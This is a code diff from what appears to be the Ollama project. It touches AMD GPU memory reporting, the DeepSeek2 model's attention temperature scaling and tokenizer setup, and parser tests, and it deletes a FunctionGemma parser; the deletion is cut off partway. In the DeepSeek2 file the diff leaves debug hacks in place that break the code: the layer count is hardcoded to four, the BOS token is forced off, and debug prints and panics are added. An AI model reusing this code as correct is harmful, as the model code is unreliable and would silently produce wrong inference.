             if (ggml_hip_mgmt_init() == 0) {
-                int status = ggml_hip_get_device_memory(ctx->pci_id != "" ? ctx->pci_id.c_str() : ctx->uuid.c_str(), free, total, ctx->is_integrated_gpu);
+                int status = ggml_hip_get_device_memory(ctx->pci_id != "" ? ctx->pci_id.c_str() : ctx->uuid.c_str(), free, total);
                 if (status == 0) {
                     GGML_LOG_DEBUG("%s device %s utilizing AMD specific memory reporting free: %zu total: %zu\n", __func__, ctx->pci_id != "" ? ctx->pci_id.c_str() : ctx->uuid.c_str(), *free, *total);
                     ggml_hip_mgmt_release();

ml/backend/ggml/ggml/src/mem_hip.cpp

@@ -331,7 +331,7 @@ void ggml_hip_mgmt_release() {
     if (gpus != NULL) gpus->pVtbl->Release(gpus); \
     if (gpu != NULL) gpu->pVtbl->Release(gpu)
 
-int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total, bool is_integrated_gpu) {
+int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total) {
     std::lock_guard<std::mutex> lock(ggml_adlx_lock);
     if (adlx.handle == NULL) {
         GGML_LOG_INFO("%s ADLX was not initialized\n", __func__);
@@ -455,16 +455,13 @@ int ggml_hip_mgmt_init() {
     return 0;
 }
 void ggml_hip_mgmt_release() {}
-int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total, bool is_integrated_gpu) {
+int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total) {
     GGML_LOG_INFO("%s searching for device %s\n", __func__, id);
     const std::string drmDeviceGlob = "/sys/class/drm/card*/device/uevent";
     const std::string drmTotalMemoryFile = "mem_info_vram_total";
     const std::string drmUsedMemoryFile = "mem_info_vram_used";
-    const std::string drmGTTTotalMemoryFile = "mem_info_gtt_total";
-    const std::string drmGTTUsedMemoryFile = "mem_info_gtt_used";
     const std::string drmUeventPCISlotLabel = "PCI_SLOT_NAME=";
 
-
     glob_t glob_result;
     glob(drmDeviceGlob.c_str(), GLOB_NOSORT, NULL, &glob_result);
 
@@ -498,6 +495,7 @@ int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total, bool
 
                     uint64_t memory;
                     totalFileStream >> memory;
+                    *total = memory;
 
                     std::string usedFile = dir + "/" + drmUsedMemoryFile;
                     std::ifstream usedFileStream(usedFile.c_str());
@@ -510,33 +508,6 @@ int ggml_hip_get_device_memory(const char *id, size_t *free, size_t *total, bool
 
                     uint64_t memoryUsed;
                     usedFileStream >> memoryUsed;
-
-                    if (is_integrated_gpu) {
-                        std::string totalFile = dir + "/" + drmGTTTotalMemoryFile;
-                        std::ifstream totalFileStream(totalFile.c_str());
-                        if (!totalFileStream.is_open()) {
-                            GGML_LOG_DEBUG("%s Failed to read sysfs node %s\n", __func__, totalFile.c_str());
-                            file.close();
-                            globfree(&glob_result);
-                            return 1;
-                        }
-                        uint64_t gtt;
-                        totalFileStream >> gtt;
-                        std::string usedFile = dir + "/" + drmGTTUsedMemoryFile;
-                        std::ifstream usedFileStream(usedFile.c_str());
-                        if (!usedFileStream.is_open()) {
-                            GGML_LOG_DEBUG("%s Failed to read sysfs node %s\n", __func__, usedFile.c_str());
-                            file.close();
-                            globfree(&glob_result);
-                            return 1;
-                        }
-                        uint64_t gttUsed;
-                        usedFileStream >> gttUsed;
-                        memory += gtt;
-                        memoryUsed += gttUsed;
-                    }
-
-                    *total = memory;
                     *free = memory - memoryUsed;
 
                     file.close();

model/models/deepseek2/model.go

@@ -4,6 +4,7 @@ package deepseek2
 
 import (
 	"cmp"
+	"fmt"
 	"math"
 
 	"github.com/ollama/ollama/fs"
@@ -39,6 +40,10 @@ type Options struct {
 	ropeBase,
 	ropeScale float32
 	kqScale float64
+
+	attentionTemperatureScale      float32
+	attentionTemperatureLength     int
+	attentionTemperatureFloorScale int
 }
 
 func (o Options) applyRotaryPositionEmbeddings(ctx ml.Context, t, p ml.Tensor) ml.Tensor {
@@ -66,7 +71,7 @@ type Attention struct {
 	Output *nn.Linear `gguf:"attn_out,alt:attn_output"`
 }
 
-func (attn *Attention) Forward(ctx ml.Context, hiddenStates, positions ml.Tensor, cache kvcache.Cache, opts *Options) ml.Tensor {
+func (attn *Attention) Forward(ctx ml.Context, hiddenStates, positions, attentionScales ml.Tensor, cache kvcache.Cache, opts *Options) ml.Tensor {
 	seqLength := hiddenStates.Dim(1)
 
 	var query ml.Tensor
@@ -104,6 +109,11 @@ func (attn *Attention) Forward(ctx ml.Context, hiddenStates, positions ml.Tensor
 		kRot = kRot.Repeat(ctx, 1, queryChunks[0].Dim(1))
 		query = qRot.Concat(ctx, queryChunks[0], 0)
 		key := kRot.Concat(ctx, kvChunks[0], 0)
+
+		if attentionScales != nil {
+			query = query.Mul(ctx, attentionScales)
+		}
+
 		attention = nn.Attention(ctx, query, key, kvChunks[1], opts.kqScale, cache)
 	} else { // v3.1
 		qPass := queryChunks[0].Permute(ctx, 0, 2, 1, 3)
@@ -115,6 +125,10 @@ func (attn *Attention) Forward(ctx ml.Context, hiddenStates, positions ml.Tensor
 		key := kRot.Concat(ctx, kPass, 0)
 		value := kPass
 
+		if attentionScales != nil {
+			query = query.Mul(ctx, attentionScales)
+		}
+
 		attention = nn.AttentionWithVMLA(ctx, query, key, value, nil, attn.VB.Weight, opts.kqScale, cache)
 	}
 
@@ -201,10 +215,10 @@ type Layer struct {
 	MLP     MLP
 }
 
-func (t *Layer) Forward(ctx ml.Context, hiddenStates, positions, outputs ml.Tensor, cache kvcache.Cache, opts *Options) ml.Tensor {
+func (t *Layer) Forward(ctx ml.Context, hiddenStates, positions, attentionScales, outputs ml.Tensor, cache kvcache.Cache, opts *Options) ml.Tensor {
 	residual := hiddenStates
 	hiddenStates = t.AttentionNorm.Forward(ctx, hiddenStates, opts.eps)
-	hiddenStates = t.Attention.Forward(ctx, hiddenStates, positions, cache, opts)
+	hiddenStates = t.Attention.Forward(ctx, hiddenStates, positions, attentionScales, cache, opts)
 
 	if outputs != nil {
 		hiddenStates = hiddenStates.Rows(ctx, outputs)
@@ -234,7 +248,11 @@ type Model struct {
 }
 
 func New(c fs.Config) (model.Model, error) {
-	layers := make([]Layer, c.Uint("block_count"))
+	// layers := make([]Layer, c.Uint("block_count"))
+	// fmt.Printf("[MODEL DEBUG] Creating model with %d layers\n", c.Uint("block_count"))
+
+	layers := make([]Layer, 4)
+	fmt.Printf("[MODEL DEBUG] Creating model with %d layers\n", 4)
 
 	firstDenseLayerIndex := int(c.Uint("leading_dense_block_count"))
 	for i := range layers {
@@ -261,6 +279,10 @@ func New(c fs.Config) (model.Model, error) {
 			`[一-龥぀-ゟ゠-ヿ]+`,
 			"[!\"#$%&'()*+,\\-./:;<=>?@\\[\\\\\\]^_`{|}~][A-Za-z]+|[^\r\n\\p{L}\\p{P}\\p{S}]?[\\p{L}\\p{M}]+| ?[\\p{P}\\p{S}]+[\r\n]*|\\s*[\r\n]+|\\s+(?!\\S)|\\s+",
 		}
+	case "tekken":
+		pre = []string{
+			"[^\\r\\n\\p{L}\\p{N}]?((?=[\\p{L}])([^a-z]))*((?=[\\p{L}])([^A-Z]))+|[^\\r\\n\\p{L}\\p{N}]?((?=[\\p{L}])([^a-z]))+((?=[\\p{L}])([^A-Z]))*|\\p{N}| ?[^\\s\\p{L}\\p{N}]+[\\r\\n/]*|\\s*[\\r\\n]+|\\s+(?!\\S)|\\s+",
+		}
 	case "deepseek-llm":
 		// TODO: these models haven't been vetted so skip for now
 		// pre = []string{
@@ -276,13 +298,20 @@ func New(c fs.Config) (model.Model, error) {
 		return nil, model.ErrUnsupportedTokenizer
 	}
 
+	// DEBUG: Check tokenizer vocabulary loading
+	tokens := c.Strings("tokenizer.ggml.tokens")
+	tokenTypes := c.Ints("tokenizer.ggml.token_type")
+	merges := c.Strings("tokenizer.ggml.merges")
+
+	// Debug output removed for performance
+
 	m := Model{
 		BytePairEncoding: model.NewBytePairEncoding(
 			&model.Vocabulary{
-				Values: c.Strings("tokenizer.ggml.tokens"),
-				Types:  c.Ints("tokenizer.ggml.token_type"),
-				Merges: c.Strings("tokenizer.ggml.merges"),
-				AddBOS: c.Bool("tokenizer.ggml.add_bos_token", true),
+				Values: tokens,
+				Types:  tokenTypes,
+				Merges: merges,
+				AddBOS: false, // c.Bool("tokenizer.ggml.add_bos_token", true),
 				BOS:    []int32{int32(c.Uint("tokenizer.ggml.bos_token_id"))},
 				AddEOS: c.Bool("tokenizer.ggml.add_eos_token", false),
 				EOS: append(
@@ -316,6 +345,11 @@ func New(c fs.Config) (model.Model, error) {
 			routedScalingFactor:   c.Float("expert_weights_scale"),
 			originalContextLength: int(c.Uint("rope.scaling.original_context_length")),
 
+			// TODO: double check these values
+			attentionTemperatureScale:      c.Float("attention.temperature_scale", 1.0),
+			attentionTemperatureLength:     int(c.Uint("attention.temperature_length")),
+			attentionTemperatureFloorScale: int(c.Uint("attention.temperature_floor_scale", 8192)),
+
 			kqScale: kqScale,
 		},
 	}
@@ -331,8 +365,28 @@ func (m Model) Shift(ctx ml.Context, layer int, key, shift ml.Tensor) (ml.Tensor
 func (m *Model) Forward(ctx ml.Context, batch input.Batch) (ml.Tensor, error) {
 	positions := ctx.Input().FromInts(batch.Positions, len(batch.Positions))
 
+	// DEBUG: Check TokenEmbedding initialization
+	if m.TokenEmbedding == nil {
+		panic("DEBUG: m.TokenEmbedding is nil - 'token_embd' tensor not found in GGUF")
+	}
+
 	hiddenStates := m.TokenEmbedding.Forward(ctx, batch.Inputs)
 
+	// Temperature tuning - used by mistral-large
+	var attentionScales ml.Tensor
+	if m.attentionTemperatureScale != 0.0 {
+		nTokens := len(batch.Positions)
+		scales := make([]float32, nTokens)
+
+		for i, pos := range batch.Positions {
+			posFloat := float64(pos)
+			scaleValue := math.Log(math.Floor((posFloat+1.0)/float64(m.attentionTemperatureFloorScale))+1.0)*float64(m.attentionTemperatureScale) + 1.0
+			scales[i] = float32(scaleValue)
+		}
+
+		attentionScales = ctx.Input().FromFloats(scales, 1, 1, nTokens)
+	}
+
 	for i, layer := range m.Layers {
 		m.Cache.SetLayer(i)
 
@@ -341,7 +395,7 @@ func (m *Model) Forward(ctx ml.Context, batch input.Batch) (ml.Tensor, error) {
 			outputs = batch.Outputs
 		}
 
-		hiddenStates = layer.Forward(ctx, hiddenStates, positions, outputs, m.Cache, m.Options)
+		hiddenStates = layer.Forward(ctx, hiddenStates, positions, attentionScales, outputs, m.Cache, m.Options)
 	}
 
 	hiddenStates = m.OutputNorm.Forward(ctx, hiddenStates, m.eps)

model/parsers/cogito_test.go

@@ -40,9 +40,9 @@ func TestCogitoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Paris",
-						}),
+						},
 					},
 				},
 			},
@@ -52,9 +52,9 @@ func TestCogitoParser(t *testing.T) {
 					Function: api.ToolFunction{
 						Name: "get_weather",
 						Parameters: api.ToolFunctionParameters{
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {Type: api.PropertyType{"string"}},
-							}),
+							},
 						},
 					},
 				},
@@ -71,9 +71,9 @@ func TestCogitoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Paris",
-						}),
+						},
 					},
 				},
 			},
@@ -83,9 +83,9 @@ func TestCogitoParser(t *testing.T) {
 					Function: api.ToolFunction{
 						Name: "get_weather",
 						Parameters: api.ToolFunctionParameters{
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {Type: api.PropertyType{"string"}},
-							}),
+							},
 						},
 					},
 				},
@@ -103,17 +103,17 @@ func TestCogitoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Paris",
-						}),
+						},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "London",
-						}),
+						},
 					},
 				},
 			},
@@ -123,9 +123,9 @@ func TestCogitoParser(t *testing.T) {
 					Function: api.ToolFunction{
 						Name: "get_weather",
 						Parameters: api.ToolFunctionParameters{
-							Properties: testPropsMap(map[string]api.ToolProperty{
+							Properties: map[string]api.ToolProperty{
 								"location": {Type: api.PropertyType{"string"}},
-							}),
+							},
 						},
 					},
 				},
@@ -140,11 +140,11 @@ func TestCogitoParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "process_data",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"items":  []any{"item1", "item2"},
 							"config": map[string]any{"enabled": true, "threshold": 0.95},
 							"count":  42.0,
-						}),
+						},
 					},
 				},
 			},
@@ -238,7 +238,7 @@ This is line 3</think>Final response here.`,
 				t.Errorf("thinking mismatch (-want +got):\n%s", diff)
 			}
 
-			if diff := cmp.Diff(tt.expectedToolCalls, toolCalls, argsComparer); diff != "" {
+			if diff := cmp.Diff(tt.expectedToolCalls, toolCalls); diff != "" {
 				t.Errorf("tool calls mismatch (-want +got):\n%s", diff)
 			}
 		})
@@ -277,9 +277,9 @@ func TestCogitoParser_Streaming(t *testing.T) {
 		{
 			Function: api.ToolCallFunction{
 				Name: "test_tool",
-				Arguments: testArgs(map[string]any{
+				Arguments: api.ToolCallFunctionArguments{
 					"arg": "value",
-				}),
+				},
 			},
 		},
 	}
@@ -292,7 +292,7 @@ func TestCogitoParser_Streaming(t *testing.T) {
 		t.Errorf("expected thinking %q, got %q", expectedThinking, finalThinking.String())
 	}
 
-	if diff := cmp.Diff(expectedToolCalls, finalToolCalls, argsComparer); diff != "" {
+	if diff := cmp.Diff(expectedToolCalls, finalToolCalls); diff != "" {
 		t.Errorf("tool calls mismatch (-want +got):\n%s", diff)
 	}
 }
@@ -367,7 +367,7 @@ func TestCogitoParser_StreamingEdgeCases(t *testing.T) {
 				t.Errorf("expected thinking %q, got %q", tt.expectedThinking, finalThinking.String())
 			}
 
-			if diff := cmp.Diff(tt.expectedToolCalls, finalToolCalls, argsComparer); diff != "" {
+			if diff := cmp.Diff(tt.expectedToolCalls, finalToolCalls); diff != "" {
 				t.Errorf("tool calls mismatch (-want +got):\n%s", diff)
 			}
 		})
@@ -412,9 +412,9 @@ func TestCogitoParser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get_weather",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"location": "Paris",
-					}),
+					},
 				},
 			},
 			expectError: false,
@@ -427,11 +427,11 @@ func TestCogitoParser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "process_data",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"items":  []any{"item1", "item2"},
 						"config": map[string]any{"enabled": true},
 						"count":  42.0,
-					}),
+					},
 				},
 			},
 			expectError: false,
@@ -444,7 +444,7 @@ func TestCogitoParser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name:      "no_args_tool",
-					Arguments: api.NewToolCallFunctionArguments(),
+					Arguments: api.ToolCallFunctionArguments{},
 				},
 			},
 			expectError: false,
@@ -493,9 +493,9 @@ func TestCogitoParser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get_weather",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"location": "Paris",
-					}),
+					},
 				},
 			},
 			expectError: false,
@@ -511,10 +511,10 @@ func TestCogitoParser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get_weather",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"location": "Paris",
 						"units":    "metric",
-					}),
+					},
 				},
 			},
 			expectError: false,
@@ -527,13 +527,13 @@ func TestCogitoParser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "complex_tool",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"nested": map[string]any{
 							"deep": map[string]any{
 								"value": 123.0,
 							},
 						},
-					}),
+					},
 				},
 			},
 			expectError: false,
@@ -557,7 +557,7 @@ func TestCogitoParser_parseToolCallContent(t *testing.T) {
 				t.Fatalf("unexpected error: %v", err)
 			}
 
-			if diff := cmp.Diff(tt.expected, result, argsComparer); diff != "" {
+			if diff := cmp.Diff(tt.expected, result); diff != "" {
 				t.Errorf("tool call mismatch (-want +got):\n%s", diff)
 			}
 		})

model/parsers/deepseek3_test.go

@@ -51,9 +51,9 @@ func TestDeepSeekParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Paris",
-						}),
+						},
 					},
 				},
 			},
@@ -67,17 +67,17 @@ func TestDeepSeekParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Paris",
-						}),
+						},
 					},
 				},
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "London",
-						}),
+						},
 					},
 				},
 			},
@@ -97,10 +97,10 @@ func TestDeepSeekParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "process_data",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"items":  []interface{}{"item1", "item2"},
 							"config": map[string]interface{}{"enabled": true, "threshold": 0.95},
-						}),
+						},
 					},
 				},
 			},
@@ -115,9 +115,9 @@ func TestDeepSeekParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Paris",
-						}),
+						},
 					},
 				},
 			},
@@ -162,9 +162,9 @@ func TestDeepSeekParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Tokyo",
-						}),
+						},
 					},
 				},
 			},
@@ -191,10 +191,10 @@ func TestDeepSeekParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "search",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"query":    "北京天气",
 							"language": "中文",
-						}),
+						},
 					},
 				},
 			},
@@ -220,10 +220,10 @@ func TestDeepSeekParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "execute_command",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"command": "ls && echo \"done\"",
 							"path":    "/home/user",
-						}),
+						},
 					},
 				},
 			},
@@ -244,7 +244,7 @@ func TestDeepSeekParser(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "ping",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 			},
@@ -276,7 +276,7 @@ func TestDeepSeekParser(t *testing.T) {
 				t.Errorf("Thinking mismatch (-want +got):\n%s", diff)
 			}
 
-			if diff := cmp.Diff(tt.expectedCalls, calls, argsComparer); diff != "" {
+			if diff := cmp.Diff(tt.expectedCalls, calls); diff != "" {
 				t.Errorf("Tool calls mismatch (-want +got):\n%s", diff)
 			}
 		})
@@ -313,9 +313,9 @@ func TestDeepSeekParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "get_weather",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"location": "Paris",
-						}),
+						},
 					},
 				},
 			},
@@ -342,7 +342,7 @@ func TestDeepSeekParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name:      "test",
-						Arguments: api.NewToolCallFunctionArguments(),
+						Arguments: api.ToolCallFunctionArguments{},
 					},
 				},
 			},
@@ -375,10 +375,10 @@ func TestDeepSeekParser_Streaming(t *testing.T) {
 				{
 					Function: api.ToolCallFunction{
 						Name: "calc",
-						Arguments: testArgs(map[string]any{
+						Arguments: api.ToolCallFunctionArguments{
 							"x": float64(42),
 							"y": float64(24),
-						}),
+						},
 					},
 				},
 			},
@@ -414,7 +414,7 @@ func TestDeepSeekParser_Streaming(t *testing.T) {
 				t.Errorf("Thinking mismatch (-want +got):\n%s", diff)
 			}
 
-			if diff := cmp.Diff(tt.expectedCalls, allCalls, argsComparer); diff != "" {
+			if diff := cmp.Diff(tt.expectedCalls, allCalls); diff != "" {
 				t.Errorf("Tool calls mismatch (-want +got):\n%s", diff)
 			}
 		})
@@ -469,7 +469,7 @@ func TestDeepSeekParser_Init(t *testing.T) {
 
 	returnedTools := parser.Init(tools, nil, &api.ThinkValue{Value: true})
 
-	if diff := cmp.Diff(tools, returnedTools, toolsComparer); diff != "" {
+	if diff := cmp.Diff(tools, returnedTools); diff != "" {
 		t.Errorf("Init() returned tools mismatch (-want +got):\n%s", diff)
 	}
 
@@ -492,9 +492,9 @@ func TestDeepSeek3Parser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "get_weather",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"location": "Paris",
-					}),
+					},
 				},
 			},
 		},
@@ -504,10 +504,10 @@ func TestDeepSeek3Parser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "process_data",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"items":  []interface{}{"a", "b"},
 						"config": map[string]interface{}{"enabled": true},
-					}),
+					},
 				},
 			},
 		},
@@ -517,7 +517,7 @@ func TestDeepSeek3Parser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name:      "ping",
-					Arguments: api.NewToolCallFunctionArguments(),
+					Arguments: api.ToolCallFunctionArguments{},
 				},
 			},
 		},
@@ -527,9 +527,9 @@ func TestDeepSeek3Parser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "获取天气",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"城市": "北京",
-					}),
+					},
 				},
 			},
 		},
@@ -539,10 +539,10 @@ func TestDeepSeek3Parser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "execute",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"command": "ls && echo \"done\"",
 						"path":    "/home/user",
-					}),
+					},
 				},
 			},
 		},
@@ -552,11 +552,11 @@ func TestDeepSeek3Parser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "calculate",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"x":       3.14,
 						"y":       float64(42),
 						"enabled": true,
-					}),
+					},
 				},
 			},
 		},
@@ -577,9 +577,9 @@ func TestDeepSeek3Parser_parseToolCallContent(t *testing.T) {
 			expected: api.ToolCall{
 				Function: api.ToolCallFunction{
 					Name: "",
-					Arguments: testArgs(map[string]any{
+					Arguments: api.ToolCallFunctionArguments{
 						"arg": "value",
-					}),
+					},
 				},
 			},
 		},
@@ -606,7 +606,7 @@ func TestDeepSeek3Parser_parseToolCallContent(t *testing.T) {
 				t.Fatalf("Unexpected error: %v", err)
 			}
 
-			if diff := cmp.Diff(tt.expected, result, argsComparer); diff != "" {
+			if diff := cmp.Diff(tt.expected, result); diff != "" {
 				t.Errorf("parseToolCallContent() mismatch (-want +got):\n%s", diff)
 			}
 		})

model/parsers/functiongemma.go

@@ -1,323 +0,0 @@
-package parsers
-
-import (
-	"fmt"
-	"regexp"
-	"strings"
-
-	"github.com/ollama/ollama/api"
-)
-
-type FunctionGemmaParserState int
-
-const (
-	FunctionGemmaCollectingContent FunctionGemmaParserState = iota
-	FunctionGemmaCollectingToolCalls
-)
-
-const (
-	functionGemmaFunctionCallOpen  = "<start_function_call>"
-	functionGemmaFunctionCallClose = "<end_function_call>"
-)
-
-// This format uses <start_function_call>call:name{args}<end_function_call> for tool calls.
-type FunctionGemmaParser struct {
-	state  FunctionGemmaParserState
-	buffer strings.Builder
-	tools  []api.Tool
-}
-
-func (p *FunctionGemmaParser) HasToolSupport() bool     { return true }
-func (p *FunctionGemmaParser) HasThinkingSupport() bool { return false }
-
-func (p *FunctionGemmaParser) Init(tools []api.Tool, lastMessage *api.Message, thinkValue *api.ThinkValue) []api.Tool {
-	p.tools = tools
-	p.state = FunctionGemmaCollectingContent
-	return tools
-}
-
-type functionGemmaEvent interface {
-	isFunctionGemmaEvent()
-}
-
-type FunctionGemmaEventContent struct {
-	content string
-}
-
-type functionGemmaEventToolCall struct {
-	toolCall api.ToolCall
-}
-
-func (FunctionGemmaEventContent) isFunctionGemmaEvent()  {}
-func (functionGemmaEventToolCall) isFunctionGemmaEvent() {}
-
-func (p *FunctionGemmaParser) Add(s string, done bool) (content string, thinking string, calls []api.ToolCall, err error) {
-	p.buffer.WriteString(s)
-	events := p.parseEvents()
-
-	var toolCalls []api.ToolCall
-	var contentSb strings.Builder
-	for _, event := range events {
-		switch event := event.(type) {
-		case functionGemmaEventToolCall:
-			toolCalls = append(toolCalls, event.toolCall)
-		case FunctionGemmaEventContent:
-			contentSb.WriteString(event.content)
-		}
-	}
-
-	return contentSb.String(), "", toolCalls, nil
-}
-
-func (p *FunctionGemmaParser) parseEvents() []functionGemmaEvent {
-	var all []functionGemmaEvent
-
-	keepLooping := true
-	for keepLooping {
-		var events []functionGemmaEvent
-		events, keepLooping = p.eat()
-		if len(events) > 0 {
-			all = append(all, events...)
-		}
-	}
-
-	return all
-}
-
-// emitWithPartialCheck extracts unambiguous content before a potential partial tag
-func (p *FunctionGemmaParser) emitWithPartialCheck(bufStr, tag string) (unambiguous, ambiguous string) {
-	if overlapLen := overlap(bufStr, tag); overlapLen > 0 {
-		beforePartialTag := bufStr[:len(bufStr)-overlapLen]
-		return beforePartialTag, bufStr[len(beforePartialTag):]
-	}
-	return bufStr, ""
-}
-
-func (p *FunctionGemmaParser) eat() ([]functionGemmaEvent, bool) {
-	bufStr := p.buffer.String()
-	if bufStr == "" {
-		return nil, false
-	}
-
-	switch p.state {
-	case FunctionGemmaCollectingContent:
-		if strings.Contains(bufStr, functionGemmaFunctionCallOpen) {
-			split := strings.SplitN(bufStr, functionGemmaFunctionCallOpen, 2)
-			content := split[0]
-			p.buffer.Reset()
-			p.buffer.WriteString(split[1])
-			p.state = FunctionGemmaCollectingToolCalls
-			if content != "" {
-				return []functionGemmaEvent{FunctionGemmaEventContent{content: content}}, true
-			}
-			return nil, true
-		}
-		unambig, ambig := p.emitWithPartialCheck(bufStr, functionGemmaFunctionCallOpen)
-		p.buffer.Reset()
-		p.buffer.WriteString(ambig)
-		if unambig != "" {
-			return []functionGemmaEvent{FunctionGemmaEventContent{content: unambig}}, false
-		}
-		return nil, false
-
-	case FunctionGemmaCollectingToolCalls:
-		if strings.Contains(bufStr, functionGemmaFunctionCallClose) {
-			split := strings.SplitN(bufStr, functionGemmaFunctionCallClose, 2)
-			remaining := split[1]
-			p.buffer.Reset()
-			p.buffer.WriteString(remaining)
-
-			var events []functionGemmaEvent
-			if tc, err := p.parseToolCall(split[0]); err == nil {
-				events = append(events, functionGemmaEventToolCall{toolCall: tc})
-			}
-
-			if !strings.Contains(remaining, functionGemmaFunctionCallOpen) {
-				p.state = FunctionGemmaCollectingContent
-			}
-			return events, true
-		}
-		return nil, false
-	}
-
-	return nil, false
-}
-
-// Matches call:function_name{args}
-var functionGemmaCallRegex = regexp.MustCompile(`call:([^{]+)\{(.*)\}`)
-
-func (p *FunctionGemmaParser) parseToolCall(content string) (api.ToolCall, error) {
-	toolCall := api.ToolCall{}
-
-	// Extract function name and arguments
-	match := functionGemmaCallRegex.FindStringSubmatch(content)
-	if len(match) < 3 {
-		return toolCall, nil
-	}
-
-	toolCall.Function.Name = match[1]
-	argsStr := match[2]
-
-	// Parse arguments
-	toolCall.Function.Arguments = p.parseArguments(argsStr)
-
-	return toolCall, nil
-}
-
-// parseArguments parses the key:value,key:value format
-func (p *FunctionGemmaParser) parseArguments(argsStr string) api.ToolCallFunctionArguments {
-	args := api.NewToolCallFunctionArguments()
-	if argsStr == "" {
-		return args
-	}
-
-	// Split by comma, but handle nested structures
-	parts := p.splitArguments(argsStr)
-
-	for _, part := range parts {
-		// Find the first colon to split key:value
-		colonIdx := strings.Index(part, ":")
-		if colonIdx == -1 {
-			continue
-		}
-
-		key := part[:colonIdx]
-		value := part[colonIdx+1:]
-
-		// Parse the value
-		args.Set(key, p.parseValue(value))
-	}
-
-	return args
-}
-
-// splitArguments splits arguments by comma, respecting nested structures
-func (p *FunctionGemmaParser) splitArguments(argsStr string) []string {
-	var parts []string
-	var current strings.Builder
-	depth := 0
-	inEscape := false
-
-	for i := 0; i < len(argsStr); i++ {
-		ch := argsStr[i]
-
-		// Check for <escape> tags
